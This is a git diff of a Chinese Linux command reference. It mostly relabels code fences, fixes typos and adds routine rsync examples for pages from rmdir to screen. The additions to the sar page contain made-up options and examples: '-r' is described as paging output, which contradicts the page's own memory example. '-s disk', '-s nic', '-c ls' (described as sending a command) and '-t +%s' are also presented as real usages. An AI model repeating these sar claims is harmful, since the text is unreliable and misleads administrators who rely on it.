虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。
-### 语法
+### 语法
-```
+```shell
rmdir(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除;
--ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息;
-v或-verboes:显示命令的详细执行过程;
@@ -27,29 +27,29 @@ rmdir(选项)(参数)
--version:显示命令的版本信息。
```
-### 参数
+### 参数
目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。
-### 实例
+### 实例
将工作目录下,名为 `www` 的子目录删除 :
-```bash
+```shell
rmdir www
```
在工作目录下的 www 目录中,删除名为 Test 的子目录。若 Test 删除后,www 目录成为空目录,则 www 亦予删除。
-```bash
+```shell
rmdir -p www/Test
```
下面命令等价于 `rmdir a/b/c`, `rmdir a/b`, `rmdir a`
-```bash
+```shell
rmdir -p a/b/c
```
-
+
diff --git a/command/rmmod.md b/command/rmmod.md
index c5661693eb0..c27d786e33d 100644
--- a/command/rmmod.md
+++ b/command/rmmod.md
@@ -1,36 +1,36 @@
rmmod
===
-
+
从运行的内核中移除指定的内核模块
## 补充说明
**rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。
-### 语法
+### 语法
-```
+```shell
rmmod(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-v:显示指令执行的详细信息;
-f:强制移除模块,使用此选项比较危险;
-w:等待着,直到模块能够被除时在移除模块;
-s:向系统日志(syslog)发送错误信息。
```
-### 参数
+### 参数
模块名:要移除的模块名称。
-### 实例
+### 实例
用rmmod命令主要用于卸载正在使用的Linux内核模块,与`modprobe -r`命令相似,如下所示:
-```
+```shell
[root@localhost boot]# lsmod | grep raid1
raid1 25153 0
@@ -39,4 +39,3 @@ raid1 25153 0
```
-
\ No newline at end of file
diff --git a/command/route.md b/command/route.md
index e6e3de9aabb..9efeb6df712 100644
--- a/command/route.md
+++ b/command/route.md
@@ -1,6 +1,6 @@
route
===
-
+
显示并设置Linux中静态路由表
## 补充说明
@@ -9,15 +9,15 @@ route
在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。
-### 语法
+### 语法
-```
+```shell
route(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-A:设置地址类型;
-C:打印将Linux核心的路由缓存;
-v:详细信息模式;
@@ -27,23 +27,23 @@ route(选项)(参数)
-host:到一个主机的路由表。
```
-### 参数
+### 参数
-```
-Add:增加指定的路由记录;
-Del:删除指定的路由记录;
-Target:目的网络或目的主机;
+```shell
+add:增加指定的路由记录;
+del:删除指定的路由记录;
+target:目的网络或目的主机;
gw:设置默认网关;
mss:设置TCP的最大区块长度(MSS),单位MB;
window:指定通过路由表的TCP连接的TCP窗口大小;
dev:路由记录所表示的网络接口。
```
-### 实例
+### 实例
**显示当前路由:**
-```
+```shell
[root@localhost ~]# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
@@ -77,29 +77,28 @@ Destination Gateway Genmask Flags Metric Ref Use Iface
**添加网关/设置网关:**
-```
-route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达244.0.0.0的路由。
+```shell
+route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达224.0.0.0的路由。
```
**屏蔽一条路由:**
-```
+```shell
route add -net 224.0.0.0 netmask 240.0.0.0 reject #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
```
**删除路由记录:**
-```
+```shell
route del -net 224.0.0.0 netmask 240.0.0.0
route del -net 224.0.0.0 netmask 240.0.0.0 reject
```
**删除和添加设置默认网关:**
-```
+```shell
route del default gw 192.168.120.240
route add default gw 192.168.120.240
```
-
\ No newline at end of file
diff --git a/command/rpm.md b/command/rpm.md
index a7d93b79c5d..f7ec56d5dc8 100644
--- a/command/rpm.md
+++ b/command/rpm.md
@@ -9,13 +9,13 @@ RPM软件包的管理工具
### 语法
-```
+```shell
rpm(选项)(参数)
```
### 选项
-```
+```shell
-a:查询所有套件;
-b<完成阶段><套件档>+或-t <完成阶段><套件档>+:设置包装套件的完成阶段,并指定套件档的文件名称;
-c:只列出组态配置文件,本参数需配合"-l"参数使用;
@@ -45,7 +45,7 @@ rpm(选项)(参数)
rpm软件包的安装可以使用程序rpm来完成。执行下面的命令:
-```
+```shell
rpm -ivh your-package.rpm
```
@@ -53,13 +53,13 @@ rpm -ivh your-package.rpm
安装过程中可能出现下面的警告或者提示:
-```
+```shell
... conflict with ...
```
可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用`rpm --force -i`强制安装即可
-```
+```shell
... is needed by ...
... is not installed ...
```
@@ -72,7 +72,7 @@ rpm -ivh your-package.rpm
方法一:
-```
+```shell
rpm -i your-package.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -bp your-package.specs #一个和你的软件包同名的specs文件
@@ -84,14 +84,14 @@ make install
方法二:
-```
+```shell
rpm -i you-package.src.rpm
cd /usr/src/redhat/SPECS
```
前两步和方法一相同
-```
+```shell
rpmbuild -bb your-package.specs #一个和你的软件包同名的specs文件
```
@@ -103,7 +103,7 @@ rpmbuild -bb your-package.specs #一个和你的软件包同名的specs文
使用命令`rpm -e`包名,包名可以包含版本号等信息,但是不可以有后缀.rpm,比如卸载软件包proftpd-1.2.8-1,可以使用下列格式:
-```
+```shell
rpm -e proftpd-1.2.8-1
rpm -e proftpd-1.2.8
rpm -e proftpd-
@@ -112,7 +112,7 @@ rpm -e proftpd
不可以是下列格式:
-```
+```shell
rpm -e proftpd-1.2.8-1.i386.rpm
rpm -e proftpd-1.2.8-1.i386
rpm -e proftpd-1.2
@@ -121,7 +121,7 @@ rpm -e proftpd-1
有时会出现一些错误或者警告:
-```
+```shell
... is needed by ...
```
@@ -131,7 +131,7 @@ rpm -e proftpd-1
使用工具rpm2cpio和cpio
-```
+```shell
rpm2cpio xxx.rpm | cpio -vi
rpm2cpio xxx.rpm | cpio -idmv
rpm2cpio xxx.rpm | cpio --extract --make-directories
@@ -145,19 +145,19 @@ rpm2cpio xxx.rpm | cpio --extract --make-directories
1、我的系统中安装了那些rpm软件包。
-```
+```shell
rpm -qa 讲列出所有安装过的包
```
如果要查找所有安装过的包含某个字符串sql的软件包
-```
+```shell
rpm -qa | grep sql
```
2、如何获得某个软件包的文件全名。
-```
+```shell
rpm -q mysql
```
@@ -165,13 +165,13 @@ rpm -q mysql
3、一个rpm包中的文件安装到那里去了?
-```
+```shell
rpm -ql 包名
```
注意这里的是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。如果只是想知道可执行程序放到那里去了,也可以用which,比如:
-```
+```shell
which mysql
```
@@ -187,7 +187,7 @@ which mysql
6、某个程序是哪个软件包安装的,或者哪个软件包包含这个程序。
-```
+```shell
rpm -qf `which 程序名` #返回软件包的全名
rpm -qif `which 程序名` #返回软件包的有关信息
rpm -qlf `which 程序名` #返回软件包的文件列表
@@ -199,7 +199,7 @@ rpm -qlf `which 程序名` #返回软件包的文件列表
注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件。前提是知道这个文件名。首先获得这个程序的完整路径,可以用whereis或者which,然后使用`rpm -qf`例如:
-```
+```shell
whereis ftptop
ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz
@@ -220,7 +220,7 @@ rpm 校验: SM5DLUGT -> size modified(类型/权限) md5 device L(文件路径)
yum: 解决 rpm 依赖的问题
-```
+```shell
# rpm
mysql57-community-release-el6-8.noarch.rpm # 一个 rpm 包的例子
/var/lib/rpm/ # 包全名 -> 包名 的数据库
@@ -239,4 +239,3 @@ rpm2cpio | cpio -idv
/usr/share/man/ manual
```
-
\ No newline at end of file
diff --git a/command/rpm2cpio.md b/command/rpm2cpio.md
index cbc442b626e..dc8d93b08a3 100644
--- a/command/rpm2cpio.md
+++ b/command/rpm2cpio.md
@@ -1,27 +1,26 @@
rpm2cpio
===
-
+
将RPM软件包转换为cpio格式的文件
## 补充说明
**rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。
-### 语法
+### 语法
-```
+```shell
rpm2cpio(参数)
```
-### 参数
+### 参数
文件:指定要转换的rpm包的文件名。
-### 实例
+### 实例
-```
+```shell
rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
```
-
\ No newline at end of file
diff --git a/command/rpmbuild.md b/command/rpmbuild.md
index f9ce73e6f8d..66a0bffa8c0 100644
--- a/command/rpmbuild.md
+++ b/command/rpmbuild.md
@@ -1,21 +1,21 @@
rpmbuild
===
-
+
创建RPM的二进制软件包和源码软件包
## 补充说明
**rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。
-### 语法
+### 语法
-```
+```shell
rpmbuild(选项)
```
-### 选项
+### 选项
-```
+```shell
--initdb:初始化RPM数据库;
--rebuilddb:从已安装的包头文件,方向重建RPM数据库;
-ba:创建二进制和源代码包;
@@ -23,13 +23,12 @@ rpmbuild(选项)
-bs:创建源代码包。
```
-### 实例
+### 实例
-```
+```shell
rpmbuild -ba 'spec文件路径'
```
build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。
-
\ No newline at end of file
diff --git a/command/rpmdb.md b/command/rpmdb.md
index 5a46383c68d..f829f55363a 100644
--- a/command/rpmdb.md
+++ b/command/rpmdb.md
@@ -1,24 +1,23 @@
rpmdb
===
-
+
初始化和重建RPM数据库
## 补充说明
**rpmdb命令** 用于初始化和重建rpm数据库。
-### 语法
+### 语法
-```
+```shell
rpmdb(选项)
```
-### 选项
+### 选项
-```
+```shell
--initdb:初始化RPM数据库;
--rebuilddb:从已安装的包头文件,反向重建RPM数据库。
```
-
\ No newline at end of file
diff --git a/command/rpmquery.md b/command/rpmquery.md
index d7c2fd2b8b1..2a401874d92 100644
--- a/command/rpmquery.md
+++ b/command/rpmquery.md
@@ -1,21 +1,21 @@
rpmquery
===
-
+
从RPM数据库中查询软件包信息
## 补充说明
**rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。
-### 语法
+### 语法
-```
+```shell
rpmquery(选项)
```
-### 选项
+### 选项
-```
+```shell
-qf:查询指定的文件所属的软件包;
-q:查询指定的软件包是否被安装;
-qc:查询软件包中的配置文件;
@@ -23,14 +23,13 @@ rpmquery(选项)
-qi:查询软件包的基本信息。
```
-### 实例
+### 实例
使用rpmquery命令查询指定文件所属的软件包:
-```
+```shell
[root@localhost ~]# rpmquery -qf /usr/bin/htpasswd
httpd-2.2.3-81.el5.centos
```
-
\ No newline at end of file
diff --git a/command/rpmsign.md b/command/rpmsign.md
index 2483f2a69de..0e51257d1f5 100644
--- a/command/rpmsign.md
+++ b/command/rpmsign.md
@@ -1,21 +1,21 @@
rpmsign
===
-
+
使用RPM软件包的签名管理工具
## 补充说明
**rpmsign命令** 使用rpm软件包的签名管理工具。
-### 语法
+### 语法
-```
+```shell
rpmsign(选项)
```
-### 选项
+### 选项
-```
+```shell
--addsign:为自动软件包添加签名;
--checksig:验证软件包签名;
--delsign:删除软件包签名;
@@ -26,4 +26,3 @@ rpmsign(选项)
```
-
\ No newline at end of file
diff --git a/command/rpmverify.md b/command/rpmverify.md
index 3c4c46e9dfd..4ff03daeafa 100644
--- a/command/rpmverify.md
+++ b/command/rpmverify.md
@@ -1,25 +1,24 @@
rpmverify
===
-
+
验证已安装的RPM软件包的正确性
## 补充说明
**rpmverify命令** 用来验证已安装的rpm软件包的正确性。
-### 语法
+### 语法
-```
+```shell
rpmverify(选项)
```
-### 选项
+### 选项
-```
+```shell
-Va:验证所有软件包;
-V<软件包>f:验证指定软件包;
--nomd5:不验证软件包的md5摘要。
```
-
\ No newline at end of file
diff --git a/command/rsh.md b/command/rsh.md
index 61e352cf397..c165b85ab26 100644
--- a/command/rsh.md
+++ b/command/rsh.md
@@ -1,30 +1,29 @@
rsh
===
-
+
连接远程主机并执行命令
## 补充说明
**rsh命令** 用于连接到远程的指定主机并执行指定的命令。
-### 语法
+### 语法
-```
+```shell
rsh(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:使用Socket层级的排错功能;
-l<用户名称>:指定要登入远端主机的用户名称;
-n:把输入的指令号向代号为/dev/null的特殊外围设备。
```
-### 参数
+### 参数
* 远程主机:指定要连接的远程主机;
* 指令:指定要在远程主机上执行的命令。
-
\ No newline at end of file
diff --git a/command/rsync.md b/command/rsync.md
index eb46597f9e8..669ca60caa6 100644
--- a/command/rsync.md
+++ b/command/rsync.md
@@ -9,7 +9,7 @@ rsync
### 语法
-```
+```shell
rsync [OPTION]... SRC DEST
rsync [OPTION]... SRC [USER@]host:DEST
rsync [OPTION]... [USER@]HOST:SRC DEST
@@ -29,7 +29,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
### 选项
-```
+```shell
-v, --verbose 详细模式输出。
-q, --quiet 精简输出模式。
-c, --checksum 打开校验开关,强制对文件传输进行校验。
@@ -51,7 +51,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
-D, --devices 保持设备文件信息。
-t, --times 保持文件时间信息。
-S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
--n, --dry-run现实哪些文件将被传输。
+-n, --dry-run 显示哪些文件将被传输。
-w, --whole-file 拷贝文件,不进行增量检测。
-x, --one-file-system 不要跨越文件系统边界。
-B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
@@ -86,7 +86,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
--port=PORT 指定其他的rsync服务端口。
--blocking-io 对远程shell使用阻塞IO。
-stats 给出某些文件的传输状态。
---progress 在传输时现实传输过程。
+--progress 在传输时显示传输过程。
--log-format=formAT 指定日志文件格式。
--password-file=FILE 从FILE中得到密码。
--bwlimit=KBPS 限制I/O带宽,KBytes per second。
@@ -99,7 +99,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
首先在服务端启动ssh服务:
-```
+```shell
service sshd start
启动 sshd: [确定]
```
@@ -108,7 +108,7 @@ service sshd start
接下来就可以在客户端使用rsync命令来备份服务端上的数据了,SSH方式是通过系统用户来进行备份的,如下:
-```
+```shell
rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
work@172.16.78.192's password:
receiving file list ...
@@ -132,7 +132,7 @@ total size is 100663363 speedup is 1024.19
启动rsync服务,编辑`/etc/xinetd.d/rsync`文件,将其中的`disable=yes`改为`disable=no`,并重启xinetd服务,如下:
-```
+```shell
vi /etc/xinetd.d/rsync
#default: off
@@ -149,7 +149,7 @@ log_on_failure += USERID
}
```
-```
+```shell
/etc/init.d/xinetd restart
停止 xinetd: [确定]
启动 xinetd: [确定]
@@ -157,7 +157,7 @@ log_on_failure += USERID
创建配置文件,默认安装好rsync程序后,并不会自动创建rsync的主配置文件,需要手工来创建,其主配置文件为“/etc/rsyncd.conf”,创建该文件并插入如下内容:
-```
+```shell
vi /etc/rsyncd.conf
uid=root
@@ -179,14 +179,14 @@ auth users=work
创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍。
-```
+```shell
echo "work:abc123" > /etc/rsyncd.passwd
chmod 600 /etc/rsyncd.passwd
```
备份,完成以上工作,现在就可以对数据进行备份了,如下:
-```
+```shell
rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
Password:
@@ -207,7 +207,7 @@ total size is 150995011 speedup is 1533.75
恢复,当服务器的数据出现问题时,那么这时就需要通过客户端的数据对服务端进行恢复,但前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复,使用rsync对数据进行恢复的方法如下:
-```
+```shell
rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
Password:
@@ -222,4 +222,108 @@ sent 258 bytes received 76 bytes 95.43 bytes/sec
total size is 150995011 speedup is 452080.87
```
-
\ No newline at end of file
+**将源目录同步到目标目录**
+
+```shell
+$ rsync -r source destination
+```
+
+上面命令中,`-r` 表示递归,即包含子目录。注意,`-r`是必须的,否则 `rsync` 运行不会成功。`source` 目录表示源目录,`destination` 表示目标目录。
+
+**多个文件或目录同步**
+
+```shell
+$ rsync -r source1 source2 destination
+```
+
+上面命令中,`source1`、`source2` 都会被同步到 `destination` 目录。
+
+**同步元信息**
+
+`-a` 参数可以替代 `-r`,除了可以递归同步以外,还可以同步元信息(比如修改时间、权限等)。由于 `rsync` 默认使用文件大小和修改时间决定文件是否需要更新,所以 `-a` 比 `-r` 更有用。下面的用法才是常见的写法。
+
+```shell
+$ rsync -a source destination
+```
+
+目标目录 `destination` 如果不存在,`rsync` 会自动创建。执行上面的命令后,源目录 `source` 被完整地复制到了目标目录 `destination` 下面,即形成了 `destination/source` 的目录结构。
+
+如果只想同步源目录 `source` 里面的内容到目标目录 `destination` ,则需要在源目录后面加上斜杠。
+
+```shell
+$ rsync -a source/ destination
+```
+
+上面命令执行后,`source` 目录里面的内容,就都被复制到了 `destination` 目录里面,并不会在 `destination` 下面创建一个 `source` 子目录。
+
+
+**模拟执行的结果**
+
+如果不确定 `rsync` 执行后会产生什么结果,可以先用 `-n` 或 `--dry-run` 参数模拟执行的结果。
+
+```shell
+$ rsync -anv source/ destination
+```
+
+上面命令中,`-n` 参数模拟命令执行的结果,并不真的执行命令。`-v` 参数则是将结果输出到终端,这样就可以看到哪些内容会被同步。
+
+**目标目录成为源目录的镜像副本**
+
+默认情况下,`rsync` 只确保源目录的所有内容(明确排除的文件除外)都复制到目标目录。它不会使两个目录保持相同,并且不会删除文件。如果要使得目标目录成为源目录的镜像副本,则必须使用 `--delete` 参数,这将删除只存在于目标目录、不存在于源目录的文件。
+
+```shell
+$ rsync -av --delete source/ destination
+```
+
+上面命令中,`--delete` 参数会使得 `destination` 成为 `source` 的一个镜像。
+
+
+**排除文件**
+
+有时,我们希望同步时排除某些文件或目录,这时可以用--exclude参数指定排除模式。
+
+```shell
+$ rsync -av --exclude='*.txt' source/ destination
+# 或者
+$ rsync -av --exclude '*.txt' source/ destination
+```
+
+上面命令排除了所有 `TXT` 文件。
+
+注意,`rsync` 会同步以"点"开头的隐藏文件,如果要排除隐藏文件,可以这样写 `--exclude=".*"`。
+
+如果要排除某个目录里面的所有文件,但不希望排除目录本身,可以写成下面这样。
+
+```shell
+$ rsync -av --exclude 'dir1/*' source/ destination
+```
+
+多个排除模式,可以用多个 `--exclude` 参数。
+
+```shell
+$ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination
+```
+
+多个排除模式也可以利用 Bash 的大扩号的扩展功能,只用一个 `--exclude` 参数。
+
+```shell
+$ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination
+```
+
+如果排除模式很多,可以将它们写入一个文件,每个模式一行,然后用 `--exclude-from` 参数指定这个文件。
+
+```shell
+$ rsync -av --exclude-from='exclude-file.txt' source/ destination
+```
+
+**指定必须同步的文件模式**
+
+`--include` 参数用来指定必须同步的文件模式,往往与 `--exclude` 结合使用。
+
+```shell
+$ rsync -av --include="*.txt" --exclude='*' source/ destination
+```
+
+上面命令指定同步时,排除所有文件,但是会包括 `TXT` 文件。
+
+
diff --git a/command/runlevel.md b/command/runlevel.md
index 3346d2d4a2f..43762178dbb 100644
--- a/command/runlevel.md
+++ b/command/runlevel.md
@@ -1,19 +1,19 @@
runlevel
===
-
+
打印当前Linux系统的运行等级
## 补充说明
**runlevel命令** 用于打印当前Linux系统的运行等级。
-### 语法
+### 语法
-```
+```shell
runlevel
```
-### 知识扩展
+### 知识扩展
linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。
@@ -21,7 +21,7 @@ runlevel可以认为是系统状态,形象一点,您可以认为runlevel有
在大多数的linux发行版本中,通常有8个runlevel:
-```
+```shell
0 停机
1 单用户模式
2 多用户,没有 NFS
@@ -37,4 +37,3 @@ S s Single user mode
linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。
-
\ No newline at end of file
diff --git a/command/sar.md b/command/sar.md
index 93b2b9a97c7..fe73f3738b8 100644
--- a/command/sar.md
+++ b/command/sar.md
@@ -1,47 +1,56 @@
sar
===
-
+
系统运行状态统计工具
## 补充说明
**sar命令** 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。
-### 语法
+### 语法
-```
+```shell
sar(选项)(参数)
```
-### 选项
-
+### 选项
+
+```shell
+-A: 显示所有的报告信息;
+-b: 显示I/O速率;
+-B: 显示换页状态;
+-c: 显示进程创建活动;
+-d: 显示每个块设备的状态;
+-e: 设置显示报告的结束时间;
+-f: 从指定文件提取报告;
+-i: 设状态信息刷新的间隔时间;
+-n: 报告网络统计信息。
+-P: 报告每个CPU的状态;
+-R: 显示内存状态;
+-u: 显示CPU利用率;
+-v: 显示索引节点,文件和其他内核表的状态;
+-w: 显示交换分区状态;
+-x: 显示给定进程的状态。
```
--A:显示所有的报告信息;
--b:显示I/O速率;
--B:显示换页状态;
--c:显示进程创建活动;
--d:显示每个块设备的状态;
--e:设置显示报告的结束时间;
--f:从指定文件提取报告;
--i:设状态信息刷新的间隔时间;
--P:报告每个CPU的状态;
--R:显示内存状态;
--u:显示CPU利用率;
--v:显示索引节点,文件和其他内核表的状态;
--w:显示交换分区状态;
--x:显示给定进程的状态。
+
+```shell
+-r: 以分页方式显示输出,每页最多显示 100 行。
+-o: 输出选项,指定要显示的列。例如,`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。
+-t: 时间戳选项,指定要在输出中添加时间戳。
+-s: 统计选项,指定要显示的统计数据的类型。例如,`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。
+-c: 选项用于指定要发送的命令。例如,`-c ls` 将显示当前目录中的文件和子目录列表。
```
-### 参数
+### 参数
* 间隔时间:每次报告的间隔时间(秒);
* 次数:显示报告的次数。
-### 实例
+### 实例
- **察看内存和交换空间的使用率:**
+**察看内存和交换空间的使用率:**
-```
+```shell
sar -r
Linux 2.4.20-8 (www.jsdig.com) 20130503
12:00:01 AM kbmemfree kbmemused %memused
@@ -59,11 +68,48 @@ Average: 324346 964374 74.83
kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。
- **观察系统部件10分钟,并对数据进行排序:**
+**观察系统部件10分钟,并对数据进行排序:**
-```
+```shell
sar -o temp 60 10
```
+**显示保存在每日数据文件“sa16”中的内存和网络统计信息。**
+
+```shell
+sar -r -n DEV -f /var/log/sa/sa16
+```
+
+**查看 CPU 使用率:**
+
+```shell
+sar -t
+```
+
+**查看磁盘使用率:**
+
+```shell
+sar -s disk
+```
+
+**查看网络流量:**
+
+```shell
+sar -s nic
+```
+
+**发送命令到系统服务:**
+
+```shell
+sar -c ls
+```
+
+**显示系统当前时间戳:**
+
+```shell
+sar -t +%s
+```
+
+这些只是 `sar` 命令的一些示例,您可以根据具体需求选择不同的选项和参数。
-
\ No newline at end of file
+注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果,请考虑在系统性能最佳的时候进行监控。
\ No newline at end of file
diff --git a/command/scp.md b/command/scp.md
index 0b142882d2d..44b976d1529 100644
--- a/command/scp.md
+++ b/command/scp.md
@@ -7,15 +7,15 @@ scp
**scp命令** 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。
-### 语法
+### 语法
-```
+```shell
scp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-1:使用ssh协议版本1;
-2:使用ssh协议版本2;
-4:使用ipv4;
@@ -32,18 +32,18 @@ scp(选项)(参数)
-r:以递归方式复制。
```
-### 参数
+### 参数
* 源文件:指定要复制的源文件。
* 目标文件:目标文件。格式为`user@host:filename`(文件名为目标文件的名称)。
-### 实例
+### 实例
从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。
- **从远处复制文件到本地目录**
+ **从远程机器复制文件到本地目录**
-```
+```shell
scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
```
@@ -51,14 +51,14 @@ scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
**从亚马逊云复制OpenVPN到本地目录**
-```
+```shell
scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg
```
从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。
- **从远处复制到本地**
+ **从远程机器复制到本地**
-```
+```shell
scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
```
@@ -66,7 +66,7 @@ scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
**上传本地文件到远程机器指定目录**
-```bash
+```shell
scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
# 指定端口 2222
scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
@@ -76,11 +76,11 @@ scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
**上传本地目录到远程机器指定目录**
-```
+```shell
scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
```
上传本地目录`/opt/soft/mongodb`到远程机器10.10.10.10上`/opt/soft/scptest`的目录中去。
-
+
diff --git a/command/screen.md b/command/screen.md
index 411909ec694..f3fc24f5372 100644
--- a/command/screen.md
+++ b/command/screen.md
@@ -1,6 +1,6 @@
screen
===
-
+
用于命令行终端切换
## 补充说明
@@ -17,15 +17,15 @@ screen
GNU's Screen 官方站点:http://www.gnu.org/software/screen/
-### 语法
+### 语法
-```
+```shell
# screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
```
-### 选项
+### 选项
-```
+```shell
-A 将所有的视窗都调整为目前终端机的大小。
-d <作业名称> 将指定的screen作业离线。
-h <行数> 指定视窗的缓冲区行数。
@@ -40,9 +40,9 @@ GNU's Screen 官方站点:http://www.gnu.org/software/screen/
-wipe 检查目前所有的screen作业,并删除已经无法使用的screen作业。
```
-### 常用screen参数
+### 常用screen参数
-```
+```shell
screen -S yourname -> 新建一个叫yourname的session
screen -ls -> 列出当前所有的session
screen -r yourname -> 回到yourname这个session
@@ -52,7 +52,7 @@ screen -d -r yourname -> 结束当前session并回到yourname这个session
在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。
-```
+```shell
C-a ? -> 显示所有键绑定信息
C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
C-a n -> Next,切换到下一个 window
@@ -80,13 +80,13 @@ C-a -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像
C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
```
-### 使用 screen
+### 使用 screen
**安装screen**
流行的Linux发行版(例如Red Hat Enterprise Linux)通常会自带screen实用程序,如果没有的话,可以从GNU screen的官方网站下载。
-```
+```shell
[root@TS-DEV ~]# yum install screen
[root@TS-DEV ~]# rpm -qa|grep screen
screen-4.0.3-4.el5
@@ -97,13 +97,13 @@ screen-4.0.3-4.el5
安装完成后,直接敲命令screen就可以启动它。但是这样启动的screen会话没有名字,实践上推荐为每个screen会话取一个名字,方便分辨:
-```
+```shell
[root@TS-DEV ~]# screen -S david
```
screen启动后,会创建第一个窗口,也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。当然,也可以在screen命令之后加入你喜欢的参数,使之直接打开你指定的程序,例如:
-```
+```shell
[root@TS-DEV ~]# screen vi david.txt
```
@@ -113,7 +113,7 @@ screen创建一个执行vi david.txt的单窗口会话,退出vi 将退出该
